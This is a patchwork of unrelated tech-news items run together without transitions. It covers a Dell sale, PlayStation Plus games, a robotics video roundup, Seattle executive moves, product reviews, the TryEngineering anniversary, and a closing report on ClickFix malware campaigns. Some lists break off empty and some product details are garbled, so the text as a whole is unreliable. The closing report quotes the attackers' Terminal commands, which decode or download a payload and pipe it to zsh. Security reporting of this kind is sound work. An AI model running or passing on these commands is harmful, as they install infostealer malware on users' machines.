Dell’s running a superb Presidents’ Day sale right now – and I’ve been browsing the desktop and laptop deals to find some top picks for business professionals.
For general productivity, you can’t go wrong with the Dell 15 Laptop, now $499.99 (was $719.99). Although there’s forever a place in my heart for the ultra-lightweight XPS 13 that’s also in the sale. It’s so good, it’s long been part of my best business laptop guide.
Sony put on its superhero cape and will bring one of its best franchises to PlayStation Plus in February. Marvel’s Spider-Man 2 will swing onto the subscription service on Feb. 17, along with nine other games. The heroic sequel, originally released in 2023, picks up after Marvel’s Spider-Man: Miles Morales and lets you play as both Spider-Men.
PlayStation Plus, which is Sony’s version of Xbox Game Pass, offers a large, constantly expanding library of games. Subscribers can choose from the Essential, Extra and Premium tiers, each with unique perks and benefits. Starting at $10 a month for the Essential tier, the plans give subscribers access to monthly games and rewards, but it’s the Extra ($15 per month) and Premium ($18 per month) tiers that allow access to the PlayStation Plus game catalog.
Here are the games PS Plus subscribers can play starting on Feb. 17. You can also check out the games Sony added to the PS Plus Game Catalog in January, which includes Resident Evil Village.
Marvel’s Spider-Man 2 doubles up on heroes as both Peter Parker and Miles Morales are playable in the game. The two heroes are once again saving New York City from destruction. This time around, the danger is multiplied as the Spider-Men deal with Kraven the Hunter and Venom.
Only PS Plus Extra and Premium subscribers can play this game in February.
Test Drive Unlimited Solar Crown brings the series back more than a decade after its last entry, expanding on its open-world racing roots with a shared online experience. The game features a broad lineup of vehicles, from classic road cars to modern hypercars and off-road machines, drawn from more than 30 manufacturers, including Ferrari, Porsche and Lamborghini. Players can align with one of two rival clans, the bold Streets or the refined Sharps, and compete in competitive events to rise through the ranks and unlock exclusive rewards.
Only PS Plus Extra and Premium subscribers can play this game in February.
Neva is a story-driven action-adventure that follows Alba and a young wolf who have been brought together by a violent encounter with a spreading darkness. Set in a world that is steadily breaking down, the game centers on the bond between the two as they face growing dangers and learn to rely on each other. As the wolf matures and begins to assert his independence, their relationship is tested, pushing both characters to adapt, survive and find a place to belong in a world on the brink.
Only PS Plus Extra and Premium subscribers can play this game in February.
Venba is a narrative-focused cooking game about an Indian mother building a new life in Canada during the 1980s. As her family settles into a different culture, her damaged recipe book becomes a way to reconnect with memories of home by rediscovering and preparing traditional dishes. Through everyday moments, player choices and branching conversations, the game explores family relationships, identity and the quiet challenges of starting over.
Only PS Plus Extra and Premium subscribers can play this game in February.
Season is an atmospheric third-person adventure built around a bicycle journey through a world on the edge of change. Leaving home for the first time, players travel through unfamiliar places, meeting people and preserving moments before an impending cataclysm erases them. Using a range of recording tools, the experience focuses on capturing sounds, stories and environments, gradually revealing the culture, history and deeper meaning of the world along the way.
Only PS Plus Extra and Premium subscribers can play this game in February.
Tame dragons in Monster Hunter Stories.
Monster Hunter Stories reimagines the Monster Hunter universe as a turn-based role-playing adventure centered on companionship rather than the hunt. Players step into the role of a Monster Rider, forming lasting bonds with creatures and living alongside them as part of a story-driven journey. This updated return of the original game includes full voice acting in Japanese and English, along with added features like a museum mode that highlights music and concept art from the series.
Only PS Plus Extra and Premium subscribers can play this game in February.
Following the return of the original Monster Hunter Stories, its sequel builds on that foundation with a larger, more ambitious adventure. Players once again take on the role of a Rider, this time as the grandchild of the legendary Red, forming bonds with Monsties while navigating a story driven by fate and legacy. The journey centers on a mysterious egg tied to a powerful Rathalos, pushing players to confront old legends and test the strength of their friendships in a world facing upheaval.
Only PS Plus Extra and Premium subscribers can play this game in February.
Echoes of the End is an action-driven adventure that follows Ryn, a young woman born with a rare connection to ancient magic, as war and political control threaten her homeland. After her brother is taken by an oppressive empire, she sets out alongside Abram, a scholar carrying his own past, on a journey shaped by trust, loss and difficult choices. Set across stark landscapes inspired by Iceland, the game blends magic and technology while players explore ruins, face dangerous creatures and uncover the remnants of a fallen civilization.
Only PS Plus Extra and Premium subscribers can play this game in February.
Rugby 25 aims to deliver an authentic take on the sport, covering everything from local club matches to major international competitions. The focus is on realistic gameplay, tactical decision-making and the physical intensity of each play, from tackles to scoring opportunities. Players can take control of club or national teams across a wide range of venues, with an expansive roster designed to reflect the full scope of the rugby world.
Only PS Plus Extra and Premium subscribers can play this game in February.
First released on the PlayStation 2, Wall-E adapts Pixar’s animated film into an adventure focused on exploration and light puzzle solving. Players control the solitary robot as he cleans a deserted Earth, collects curious items and sets off on an unexpected journey after meeting Eve. Alongside the single-player story, the game also includes competitive mini games for up to four players, offering a mix of races and challenges set beyond the planet.
Only PS Plus Premium subscribers can play this game in February.
For more on PlayStation Plus, here’s what to know about the service and a rundown of PS Plus Extra and Premium games added in January. You can also check out the latest and upcoming games on Xbox Game Pass.
Video Friday is your weekly selection of awesome robotics videos, collected by your friends at IEEE Spectrum robotics. We also post a weekly calendar of upcoming robotics events for the next few months. Please send us your events for inclusion.
Enjoy today’s videos!
No system is immune to failure. The compromise between reducing failures and improving adaptability is a recurring problem in robotics. Modular robots exemplify this tradeoff, because the number of modules dictates both the possible functions and the odds of failure. We reverse this trend, improving reliability with an increased number of modules by exploiting redundant resources and sharing them locally.
Now that the Atlas enterprise platform is getting to work, the research version gets one last run in the sun. Our engineers made one final push to test the limits of full-body control and mobility, with help from the RAI Institute.
[ RAI ] via [ Boston Dynamics ]
Announcing Isaac 0: the laundry folding robot we’re shipping to homes, starting in February 2026 in the Bay Area.
[ Weave Robotics ]
In a paper published in Science, researchers at the Max Planck Institute for Intelligent Systems, the Humboldt University of Berlin, and the University of Stuttgart have discovered that the secret to the elephant’s amazing sense of touch is in its unusual whiskers. The interdisciplinary team analyzed elephant trunk whiskers using advanced microscopy methods that revealed a form of material intelligence more sophisticated than the well-studied whiskers of rats and mice. This research has the potential to inspire new physically intelligent robotic sensing approaches that resemble the unusual whiskers that cover the elephant trunk.
[ MPI ]
Got an interest in autonomous mobile robots, ROS2, and a mere $150 lying around? Try this.
[ Maker’s Pet ]
Thanks, Ilia!
We’re giving humanoid robots swords now.
[ Robotera ]
A system developed by researchers at the University of Waterloo lets people collaborate with groups of robots to create works of art inspired by music.
[ Waterloo ]
FastUMI Pro is a multimodal, model-agnostic data acquisition system designed to power a truly end-to-end closed loop for embodied intelligence — transforming real-world data into genuine robotic capability.
[ Lumos Robotics ]
We usually take fingernails for granted, but they’re vital for fine-motor control and feeling textures. Our students have been doing some great work looking into the mechanics behind this.
[ Paper ]
This is a 550-lb all-electric coaxial unmanned rotorcraft developed by Texas A&M University’s Advanced Vertical Flight Laboratory and Harmony Aeronautics as a technology demonstrator for our quiet-rotor technology. The payload capacity is 200 lb (gross weight = 750 lb). The noise level measured was around 74 dBA in hover at 50-ft making this probably the quietest rotorcraft at this scale.
Harvard scientists have created an advanced 3D printing method for developing soft robotics. This technique, called rotational multimaterial 3D printing, enables the fabrication of complex shapes and tubular structures with dissolvable internal channels. This innovation could someday accelerate the production of components for surgical robotics and assistive devices, advancing medical technology.
[ Harvard ]
Lynx M20 wheeled-legged robot steps onto the ice and snow, taking on challenges inspired by four winter sports scenarios. Who says robots can’t enjoy winter sports?
[ Deep Robotics ]
NGL right now I find this more satisfying to watch than a humanoid doing just about anything.
[ Fanuc ]
At Mentee Robotics, we design and build humanoid robots from the ground up with one goal: reliable, scalable deployment in real-world industrial environments. Our robots are powered by deep vertical integration across hardware, embedded software, and AI, all developed in-house to close the Sim2Real gap and enable continuous, around-the-clock operation.
[ Mentee Robotics ]
You don’t need to watch this whole video, but the idea of little submarines that hitch rides on bigger boats and recharge themselves is kind of cool.
[ Lockheed Martin ]
Learn about the work of Dr. Roland Siegwart, Dr. Anibal Ollero, Dr. Dario Floreano, and Dr. Margarita Chli on flying robots and some of the challenges they are still trying to tackle in this video created based on their presentations at ICRA@40 the 40th anniversary celebration of the IEEE International Conference on Robotics and Automation.
[ ICRA@40 ]
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— Cynthia Tee has left Smartsheet, where she was chief technology officer at the work management software giant. Tee was CTO since February 2025; before that she was senior vice president of engineering for nearly four years.
The Bellevue-based company has not publicly announced Tee’s departure or named a replacement. A spokesperson said via email: “We thank [Tee] for the many contributions and wish her well in her next opportunity.”
Tee told GeekWire she has not taken a new role elsewhere.
Early in her career, Tee was with Microsoft for two decades, joining in 1994 and working for many years on Windows technologies. Prior to Smartsheet, she was vice president of commerce technology at Nordstrom.
Tee was also executive director of Seattle’s Ada Developers Academy, a tuition-free tech bootcamp providing training for women and other underrepresented people in tech.
Smartsheet laid off an undisclosed number of workers earlier this month. Tech veteran Rajeev “Raj” Singh took over as CEO in October following the August announcement that longtime Smartsheet CEO Mark Mader was retiring.
— Overland AI, a Seattle startup building autonomous ground vehicles used by the U.S. military, hired Mark Dewyea as head of legal. Dewyea, who is based in Virginia, joins the company from Shield AI where he was chief of staff and in-house counsel.
“Mark brings extensive experience across government, military, and defense technology sectors, including service as an active duty judge advocate in the U.S. Marine Corps and as a legal analyst at the Federal Bureau of Investigation,” Overland AI said on LinkedIn.
Overland AI spun out of the University of Washington in 2022 and earlier this month announced $100 million in new funding.
— Jessica Roberto is joining the Washington State Department of Commerce as Knowledge Economy Lead in the Office of Economic Development and Competitiveness.
Roberto was previously at the UW’s Buerk Center for Entrepreneurship where she served as associate director and manager of graduate student programs and the Hollomon Health Innovation Challenge. She was with the Buerk Center for six years and holds a PhD from the UW in pathobiology.
— Heather Redman, co-founder and managing partner of the venture firm Flying Fish, is now on the Seattle branch board of directors for the Federal Reserve Bank of San Francisco.
— Seattle tech entrepreneur Anna Fuller is now working on commerce AI at Google. She was previously head of product at California’s Big Sur AI, which Google acquired at the end of last year. Fuller is also a resident expert at Seattle’s AI2 Incubator, which launched the AI House last year on the city’s waterfront.
— Alaska Airlines promoted Ben Brookman to vice president of real estate and airport affairs. Brookman has been with the airline for more than a decade over two separate periods. Past employers include Convoy and Amazon.
— Comcast named Keith Turner as senior VP of its Pacific Northwest region, which serves Xfinity and Comcast Business customers in Washington and Oregon. Turner has been with the telecom and entertainment giant for nearly two decades.
— Zillow promoted Rebecca Amos-Stuart to marketing director. Amos-Stuart, based in the Seattle area, has been with the real estate tech company for more than six years. She previously ran her own consulting business and was with Verizon for 12 years.
— Cam Caldwell, chief operating officer for Binti, is now running the software development company’s newly opened Seattle office. San Francisco-based Binti is building technology that serves the child welfare system. The new location is hiring.
— Seattle-based music licensing startup Incantio appointed Virl Hill to its board of directors. Hill is a media and technology executive whose past employers include Microsoft, RealNetworks and Disney. He previously served on Incantio’s advisory board.
— The firm Baker Sterchi Cowden & Rice named Brian Maxey as senior counsel in its Seattle office. Maxey, previously COO for the Seattle Police Department, will focus on risk management planning, crisis response and strategic litigation for clients in the public sector.
— Vija Veingbergs-Rogers is now a senior software engineer at the Seattle-based AI roleplay startup Yoodli. She joins from the neurology tech company Rune Labs.
— The National Academy of Engineering, an organization conferring one of the highest professional distinctions for engineers, has elected 130 new members including for four connected to the Pacific Northwest:
— The Oregon Entrepreneurs Network appointed five new members to its 18-person board of directors:
One of PC gaming’s greatest shooters has been given a free second life. Unreal Tournament 2004 is now available at no cost with Epic Games’ blessing. The community-led revival preserves everything that made UT2004 a multiplayer legend: lightning-fast gunplay, large vehicle-filled maps, and deep mod support, while adding support for modern operating systems.
When Sony launched its original stem-free, donut-shaped LinkBuds in 2022, I lauded them for being an innovative take on open earbuds after Apple had dominated the open earbuds genre with its AirPods for several years. The second-gen LinkBuds Open were released in 2024, and now Sony’s added the donut-shaped LinkBuds, its take on the increasingly popular clip-on genre of open buds. While there isn’t anything terribly innovative about the them, especially given their high list price of $230, they’re nicely designed, fit my ears well, sound quite good (for clip-on buds anyway), have strong battery life and feature excellent voice-calling performance. Read full review.
Reasons to buy
The LinkBuds Clip may not sound great compared with noise-isolating earbuds in the same price range, but they measure up quite well to other top clip-on buds, none of which feature fantastic sound and aren’t really designed for critical listening. Where they do seem to have a real competitive advantage is with their voice-calling performance, which is great if you like to chat when you go for a run or do other activities.
Reasons to skip/keep looking
The LinkBuds Clip seem a little overpriced at $230, which is why I have them rated just below four stars. Should they end up on sale on Amazon for $50 less, you can add a quarter star to my rating.
Salim Benbouziyane spent months obsessively designing a computer that folds up like a typical laptop but includes all sorts of custom features that you won’t find in any ordinary off-the-shelf machine. He refers to it as the CM Deck, and every aspect of its design stems directly from his decision to use the Raspberry Pi Compute Module 5 as the foundation of the project.
A standard Raspberry Pi includes everything you’d expect, such as ports and cooling, but the Compute Module 5 reduces those down to the bare bones, giving Salim a lot more creative freedom. He had to create his own unique carrier board to go with it, giving him complete control over where every component ended up on the board. This allowed him to fit everything inside a sleek clamshell form without adding unnecessary mass.
The modified PCB houses the operation’s brains, which are responsible for carefully handling high-speed signals, adhering to the official Raspberry Pi layout when necessary, and adding a few bits on the side to provide extra functionality. So there’s a built-in USB hub for connecting internal devices, some GPIO pins for further versatility, an audio circuit to power speakers and headphone jacks, and power management handled by a dependable UPS module. Two 5000 mAh batteries, slid in side by side, power the entire build and will keep it going for approximately 4 hours under normal use. Oh, there’s also some clever circuitry that monitors battery levels and ensures the machine shuts down securely when it’s time to pack up.
Salim paired the module with a stunning 12 inch IPS display from Waveshare. The screen employs a MIPI connection to keep the power consumption low, and the touch function still functions properly. He also took an effort to run cables neatly so that the lid could open completely without being pulled tight. The keyboard input is provided by a bespoke mechanical keyboard he built using an RP2040 microprocessor and QMK firmware. This keyboard’s layout has been designed in a neat and compact ortho style, with low profile switches, a trackpad in the center, and even a small OLED display to provide system status. There are a few extra keys on there for rapid commands, and he constructed the entire thing from the ground up, manually soldering the matrix and LEDs and testing each element before putting it together.
Meanwhile, the case tells its own story: Salim began by creating some 3D printed prototypes to ensure that everything fit together properly and felt right. In the end, he chose to use some solid industrial hinges to keep the lid open without sagging under the weight of the screen. The case’s bottom shell is made of translucent purple plastic that was milled with a CNC machine, which allows the small LEDs within to shine through and provide a pleasant soft glow when the deck is sitting on a desk with the lid open. Down at the bottom, there are some wonderful brass weights that keep the whole thing nice and sturdy, preventing it from rocking back and forth all the time.
[Source]
At £399 / $499, the Sennheiser HDB 630 are one of the best wireless headphones. They won’t be for everyone given their audiophile ambitions, and they’re beaten for ANC and call quality, but if you prioritise sound above all else, you should give these headphones a listen.
Parametric EQ
Finesse the sound with the flexible Parametric EQ
Crossfeed
Blend the left/right channels for a more natural sound
BTD 700 dongle
USB-C dongle that upgrades Bluetooth sound quality
Sennheiser refers to its HDB 630 wireless over-ears as “audiophile sound cut loose”, which sets up high expectations, but if there’s an audio brand that can deliver on those expectations, it would be Sennheiser.
Wireless headphones have always been seen the awkward sibling in the audiophile world compared to wired headphones. The use of Bluetooth, the potential for connection pratfalls, along with noise-cancellation (which can affect sound) – go against the purity of performance a wired headphone can offer.
Sennheiser, with its HDB 630, wants to rectify this. It’s not the first brand to have designs on the audiophile listener, but it’s one of few to try and aim for a reasonable price, plus deliver a high quality noise-cancelling experience.
The result is arguably one of the best wireless headphones you can buy at the moment.
Like the Momentum 4 Wireless before it (still available at a killer price, I should add); these headphones aren’t aesthetic pleasers. The only clearly difference between the Momentum 4 Wireless and the HDB 630, is the silver linkages that connect the headband and earcups. Fancy dan headphones these aren’t.
But, given that these are for the audiophile and not for the casual audience, its plain, anonymous looks can be forgiven. Like many of Sennheiser’s recent headphones, the focus has been on ergonomics rather than standout looks.
In that regard, Sennheiser has met the mark as they are comfy to wear. Sometimes the left earcup can be a bit tight, but a few adjustments is all that’s required to sort that issue out. The clamping force isn’t too tight despite the headphones sitting firm against my temple, the soft earpads offering a cushy point of contact.
It’s not necessarily a plush, luxurious feel but it gets the job done with minimum fuss. Compared to the more expensive Bowers & Wilkins Px8 S2, they feel comfier.
The headband is sturdy without causing undue pressure. There’s an adjustable slider if the fit isn’t suited, though interestingly, the HDB 630 doesn’t have the fabric cover the Momentum 4 Wireless did, making it look plainer and more inconspicuous. It would have been nice if the premium sound was matched by premium looks.
The carry case that comes with the headphones is thicker and slightly bigger, with more pockets to keep stuff stowed away with its multiple cables and adapters. They don’t fold either, so if you want to keep them safe from scuffs and marks, into the carry case they go.
The arrangement of physical buttons is the same, but the HDB 630 relies on touch controls and swipes. They’re not always the most precise as there have been a few times when swipes seem to register but nothing happens. It’s still an area that needs improvement.
There’s only one finish – black – which adds to the audiophile feel of the Sennheiser HDB 630. It also comes with a dongle, which allows for higher quality audio over a Bluetooth connection. It’s something I think more headphone brands should include to get past the restrictions of some restrictive ecosystems but I’d have liked a Wi-Fi connection like the AKG N9 headphones offer.
There are a host of features tucked away in the Smart Control Plus app. Visually it’s the same, and it operates the same way as the original Smart Control app, with a couple of features that aren’t present in the original version.
Those include the Parametric EQ, which offers much finer control of frequency boosts and cuts than a standard graphic EQ. If you know what you’re doing you can mould the sound with more precision and hear the effects in real-time.
There is access to EQ presets if you’re not the type to fiddle around with settings, as well as Sound Check where you play music and are presented with options to tune the sound. Perhaps it’s me, but I can’t hear much, if any difference between the options. Bass boost and Podcast sound modes are included too.
The Crossfeed feature allows you to blend the left and right channels, and the effect is so simple and I find worth enacting to see if you like it. You can control the noise-cancellation (more on that later), customise the controls and the overall performance with features such as Head Detection, Smart Pause, and Comfort Calls, which apparently gives calls a more “natural sound stage”.
Sound Zone is not too dissimilar from the Adaptive Sound Control in Sony’s Sound Connect app. It automatically changes ANC and audio presets depending on your location, and you can create up to twenty of these Sound Zones, which could include places such as your workplace, home, college etc. Set them up and the headphones will do it all for you (but you do need Location enabled).
The Bluetooth dongle (or BTD 700) is perhaps the most interesting feature. The potential it offers is quite large as you can use, say, an Apple iPad Pro, and with the USB-C adapter bless it with the ability to play audio over an aptX Adaptive Bluetooth connection.
The USB-C handles the audio side, transmits it to your headphones, and presents what would have been AAC audio in higher fidelity. You can connect it to your personal laptop, a non-aptX compatible smartphone – whatever audio device that has a USB-C but no wireless high-res audio support.
It can be a bit stubborn, though.
Initially I had no problems connecting my laptop to the BTD 700 dongle. Connecting to another laptop and the dongle wasn’t having it. Re-pairing and resetting didn’t work but eventually restarting the laptop was all that was needed to give it a kickstart.
You can use the smart control app on a mobile device while the headphones are connected to another device via the dongle, but I couldn’t hear changes I made on the app reflected in the headphones, so I can’t say with confidence that it has any effect. There’s no Windows or Mac desktop version of the app, which seems a slight oversight on Sennheiser’s behalf.
It’s also worth noting that even though the Sennheiser HDB 630 supports Bluetooth multipoint, the BTD 700 dongle isn’t a separate connection. If you have three devices and the dongle is one of them, you’ll have to make sure it’s selected to hear any sound.
Bluetooth is supported up to the aforementioned aptX Adaptive, but the HDB 630 hasn’t abandoned wired listening with USB-C and 3.5mm audio cables included (as well as a decent in-flight adapter). The wireless performance mirrors that of the Momentum 4 Wireless – the signal doesn’t break but you can hear the soundstage shrink slight when it comes across wireless interference.
The noise-cancelling performance is an improvement on the Momentum 4 Wireless, especially when dealing with lower frequencies. However, compared to the Sony WH-1000XM6 and the Sony is a fraction quieter overall.
The Bose QuietComfort Ultra Headphones Gen 2 are better too, suppressing noise with more confidence on an airplane. There’s an extra layer of noise that the Sony and Bose seem to deter that the Sennheiser lets in, but the difference is small rather than large.
I have found the performance can fluctuate in real-world environments. Using them on public transport and they’re not as quiet as I had anticipated but they do get rid of most noises, and they cancel noise without producing that artificial sound that less expensive headphones do. They are stronger than more expensive pairs, like the Focal Bathys MG, and they’re better than the similarly priced Bowers & Wilkins PX7 S3
Wind noise is dealt with adequately – it’s optional to toggle on in the app, and while it won’t remove all wind noise, it’ll reduce any rustling and turbulence when it’s on. The transparency mode is also fine, not the clearest or most detailed, but clear enough to get a sense of your surroundings.
Sadly, call quality is a disappointment. While the person on the other end could hear my voice, they also hear everything else. All the sounds around me were competing for attention, and the headphones struggle when it’s loud and noisy.
This is a common trait for headphones, but models like the Sony WH-1000XM6 cope with it better than the Sennheiser does.
One of the headline features about the Sennheiser Momentum 4 Wireless was its endurance. Up to sixty hours on a single charge and the HDB 630 reach similar levels, though this comes with a caveat I didn’t realise all those years ago. The sixty hours is when you’re listening to standard resolution audio…
Listening to wireless hi-res audio via the dongle, and it’s actually up to 45 hours. Always read the small print.
Having carried out my battery drain test with the headphones set at 50%, and playing from a Spotify playlist shuffle, it took 3.5 hours for the headphones to drop to 90%. That’s a good performance, and granted the drops could be even less if I kept the test going, but that suggests a performance in the region of 35 to 40 hours – similar to the results I got from the Momentum 4 Wireless.
There’s fast charging support, with a ten minute drive providing seven hours of battery life.
There’s no shortage of competition at this price. You got the Sony WH-1000XM6, Bowers & Wilkins Px7 S3 and Bose QuietComfort Headphones Ultra 2 all claiming to offer premium sound. How does the Sennheiser HDB 630 shake up? Pretty well.
The soundstage it paints is wide, with a clear, crisp approach to audio that brings clarity to voices. The sound is well balanced across the frequency range – not necessarily flat, but a neutrality that avoids the warmth and smoothness of the Momentum 4 Wireless.
Compared to the older pair, the soundstage is bigger and wider, with the HDB 630 offering slightly more insight with vocals, though it comes across as a little more gentle at describing the lows. The bass is more articulate and clearer – in fact voices and instruments all sound clearer than they do on the Momentum 4 Wireless.
There is a change the soundstage as well, a different focus in terms of depth as the HDB 630 comes across as flatter. Is this good or bad? I’m not sure, but it retrieves and picks up detail better so consider it good.
The highs are bright, sharp and clear and escape the smoothness that the Momentum 4 Wireless brought to highs. The older headphone sounded a little warmer, less detailed and clearer – the HDB 630 offers more insight.
The levels of insight are the biggest takeaway from the Sennheiser HDB 630’s performance, as well as sounding more natural. Frank Sinatra’s voice in Fly Me to the Moon has a crisper, more revealing tone; the double bass has more weight when it enters fray. The HDB 630 may not offer as much bass as the Momentum 4 Wireless, but the performance is more varied and articulate.
A listen to Maye’s La Canción and the low frequencies are treated with more reverence, and some may prefer the Momentum 4 Wireless’ bass performance; but you do have the Parametric EQ at your disposal if you want to make changes.
When pitched against the PX7 S3, a pair of headphones that I thought were one of the best-sounding models of 2025, the Sennheiser can’t match its loudness and energy – it doesn’t have the drama, energy or spectacle of the PX7 S3.
The PX7 S3 offer a hearty thump with the bass, with more power and solidity with the lows, but the soundstage isn’t as well organised as the Sennheiser, and the HDB 630 summons greater levels of insight.
The energy of the PX7 S3 can scramble detail while the gentle sound of the Sennheiser allows it to pick out the smaller details. Two different approaches, but I think I might prefer the Sennheiser if I wanted to hear everything, and the Bowers if I wanted to be entertained.
And when faced against the Sony WH-1000XM6, the Sennheiser has better control over the high frequencies but in terms of detail across the frequency range, the Sony is a match if not slightly better.
There’s more bass power with the Sony but the Sennheisers have a naturalism and clarity that’s less obvious on the WH-1000XM6. They are capable of more subtlety, a lighter and defter sound but the Sony offers more attack and energy. I might just prefer the Sennheisers with their natural, musical sound that, surprisingly, makes the Sony sound slightly compressed.
Listening over the Bluetooth dongle and the same traits apply, not quite the same infectious energy as other wireless models, but an airiness, crispness and spaciousness to the soundstage that engages. A little more energy and power to the low end wouldn’t go amiss though.
That said, plug these headphones in with a wired 3.5mm or USB-C connection, and these headphones sound tighter, detailed and, at least with the USB-C input, energised. Either way, it’s an enjoyable sound, whichever method you use to listen to music through the Sennheiser HDB 630.
In terms of insight and clarity, the Sennheiser HDB 630 are among the best around its price point. Some pairs do offer better sound in other areas though
The Sennheisers can be very good at cancelling noise, but they’re not as good as efforts from Sony and Bose
The Sennheiser HDB 630 may not be the best overall wireless headphones at this price, but they stake their claim to being one of the best-sounding wireless headphones. Its sound works across a range of genres with its levels of detail and insight, though I would have liked more a low end presence.
At least with its various EQ options, you can edit the sound how you like with the Parametric EQ in adjusting the sound how you want.
The noise-cancelling is competitive, though not as good as the likes of the Sony WH-1000XM6 and Bose QuietComfort Ultra Headphones Gen 2. The call quality is a disappointment – you wouldn’t want to use these headphones in a busy area.
The headphones’ looks aren’t the most dramatic, and the neutrality of the sound won’t be to everyone’s tastes. But if you’ve wanted excellent wireless sound, then around the £400 point, these are one of the best headphones.
The Sennheiser HDB 630 were tested over three months, with real-world use, over Bluetooth and wired connections.
A battery drain was carried out to test its battery life, calls were made in outdoor locations to assess the call quality.
Sound/ANC was compared against the Sennheiser Momentum 4 Wireless, Sony WH-1000XM6, and Bowers & Wilkins PX7 S3.
The HDB 630 can stream in SBC, AAC, aptX, aptX HD and aptX Adaptive.
| Sennheiser HDB 630 Review | |
|---|---|
| UK RRP | £399 |
| USA RRP | $499 |
| Manufacturer | Sennheiser |
| IP rating | No |
| Battery Hours | 60 |
| Fast Charging | Yes |
| Weight | 311 G |
| ASIN | B0FK4K5Z37 |
| Release Date | 2025 |
| Model Number | 700445 |
| Audio Resolution | SBC, AAC, aptX, aptX HD, aptX Adaptive |
| Driver (s) | 42mm dynamic |
| Noise Cancellation? | Yes |
| Connectivity | Bluetooth |
| Colours | Black |
| Frequency Range | 6 22000 – Hz |
| Headphone Type | Over-ear |
IEEE TryEngineering is celebrating 20 years of empowering educators with resources that introduce engineering to students at an early age. Launched in 2006 as a collaboration between IEEE, IBM, and the New York Hall of Science (NYSCI), TryEngineering began with a clear goal: Make engineering accessible, understandable, and engaging for students and the teachers who support them.
What started as an idea within IEEE Educational Activities has grown into a global platform supporting preuniversity engineering education around the world.
In the early 2000s, engineering was largely absent from preuniversity education, typically being taught only in small, isolated programs. Most students had little exposure to the many types of engineering, and they did not learn what engineers actually do.
At the same time, industry and academic leaders were increasingly concerned about the future of engineering as a whole. They worried about the talent pipeline and saw existing outreach efforts as scattered and inconsistent.
In 2004 representatives from several electrical and computer engineering industries met with IEEE leadership and expressed their concerns about the declining number of students interested in engineering careers. They urged IEEE to organize a more effective, coordinated response to unite professional societies, educators, and industry around a shared approach to preuniversity outreach and education.
One of the major recommendations to come out of that meeting was to start teaching youngsters about engineering earlier. Research from the U.S. National Academy of Engineering at the time showed that students begin forming attitudes toward science, technology, engineering, and math fields from ages 5 to 10, and that outreach should begin as early as kindergarten. Waiting until the teen years or university-level education is simply too late, they determined; it needs to happen during the formative years to spark long-term interest in STEM learning.
TryEngineering emerged from the broader Launching Our Children’s Path to Engineering initiative, which was approved in 2005 by the IEEE Board of Directors. A core element of the IEEE program was a public-facing website that would introduce young learners to engineering projects, roles, and careers. The concept eventually developed into TryEngineering.org.
The idea for TryEngineering.org itself grew from an existing, successful model. The NYSCI operated TryScience.org, a popular public website supported by IBM that helped students explore science topics through hands-on activities and real‑world connections.
At the time, the IEEE Educational Activities group was working with the NYSCI on TryScience projects. Building a parallel site focused on engineering was a natural next step, and IBM’s experience in supporting large‑scale educational outreach made it a strong partner.
A central figure in turning that vision into reality was Moshe Kam, who served as the 2005–2007 IEEE Educational Activities vice president, and later as the 2011 IEEE president. During his tenure, Kam spearheaded the creation of TryEngineering.org and guided the international expansion of IEEE’s Teacher In‑Service Program, which trained volunteers to work directly with teachers to create hands-on engineering lessons (the program no longer exists). His leadership helped establish preuniversity education as a core, long‑term priority within IEEE.
“The founders of the IEEE TryEngineering program created something very special. In a world where the messaging about becoming an engineer often scares students who have not yet developed math skills away from our profession, and preuniversity teachers without engineering degrees have trepidation in teaching topics in our fields of interest, people like Dr. Kam and the other founders had a vision where everyone could literally try engineering,” says Jamie Moesch, IEEE Educational Activities managing director.
“Because of this, teachers have now taught millions of our hands-on lessons and opened our profession to so many more young minds,” he adds. “All of the preuniversity programs we have continued to build and improve upon are fueled by this massively important and simple-to-understand concept of try engineering.”
From the beginning, TryEngineering focused on educators as the keys to its success, rather than starting with students. Instead of complex technical explanations, the platform offered free, classroom-ready lesson plans with clear explanations about engineering fields and examples with which students could relate. Hands-on activities emphasized problem‑solving, creativity, and teamwork—core elements of how engineers actually work.
IEEE leaders also recognized that misconceptions about engineering discouraged many talented young people—particularly girls and students from underrepresented groups—from pursuing engineering as a career. TryEngineering aimed to show engineering as practical, creative, and connected to real-world needs, helping students see that engineering could be for anyone, not just a narrow group of specialists.
By simply encouraging students and educators to just try engineering, doors are open to new possibilities and a broader understanding of the field. Even students who ultimately choose other career paths get to learn key concepts, such as the engineering design process, equipping them with practical skills for the rest of their life.
During the past two decades, TryEngineering has grown well beyond its original website. In addition to providing a vast library of lesson plans and resources that engage and inspire, it also serves as the hub for a collection of programs reaching educators and students in many ways.
Those include the TryEngineering STEM Champions program, which empowers dedicated volunteers to support outreach programs and serve as vital connectors to IEEE’s extensive resources. The TryEngineering Summer Institute offers immersive campus‑based experiences for students ages 13 to 17, with expanded locations and programs being introduced this year.
The IEEE STEM Summit is an annual virtual event that brings together educators and volunteers from around the world. TryEngineering OnCampus partners with universities around the globe to organize hands-on programs. TryEngineering educator sessions provide free professional development programs aligned with emerging industry needs such as semiconductors.
To mark its 20th anniversary, TryEngineering is celebrating with a year of special activities, new partnerships, and fresh resources for educators. Visit the TryEngineering 20th Anniversary collection page to explore what’s ahead, join the celebration, and discover 20 ways to celebrate 20 years of inspiring the next generation of technology innovators. This is an opportunity to reflect on how far the program has come, and to help shape how the next generation discovers engineering.
“The passion and dedication of the thousands of volunteers of IEEE who do local outreach enables the IEEE-wide goal to inspire intellectual curiosity and invention to engage the next generation of technology innovators,” Moesch says. “The first 20 years have been special, and I cannot wait to have the world experience what the future holds for the TryEngineering programs.”
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Threat actors are abusing Claude artifacts and Google Ads in ClickFix campaigns that deliver infostealer malware to macOS users searching for specific queries.
At least two variants of the malicious activity have been observed in the wild, and more than 10,000 users have accessed the content with dangerous instructions.
A Claude artifact is content generated with Antropic’s LLM that has been made public by the author. It can be anything from instructions, guides, chunks of code, or other types of output that are isolated from the main chat and accessible to anyone via links hosted on the claude.ai domain.
An artifact’s page warns users that the shown content was generated by the user and has not been verified for accuracy.
Researchers at MacPaw’s investigative division, Moonlock Lab, and at ad-blocking company AdGuard noticed the malicious search results being displayed for multiple queries, like “online DNS resolver,” “macOS CLI disk space analyzer,” and “HomeBrew.”
Malicious results promoted on Google Search lead to either a public Claude artifact or a Medium article impersonating Apple Support. In both cases, the user is instructed to paste a shell command into Terminal.
‘echo "..." | base64 -D | zsh,’
‘true && cur""l -SsLfk --compressed "https://raxelpak[.]com/curl/[hash]" | zsh’.
Moonlock researchers discovered that the malicious Claude guide has already received at least 15,600 views, which could be an indication of the number of users falling for the trick.
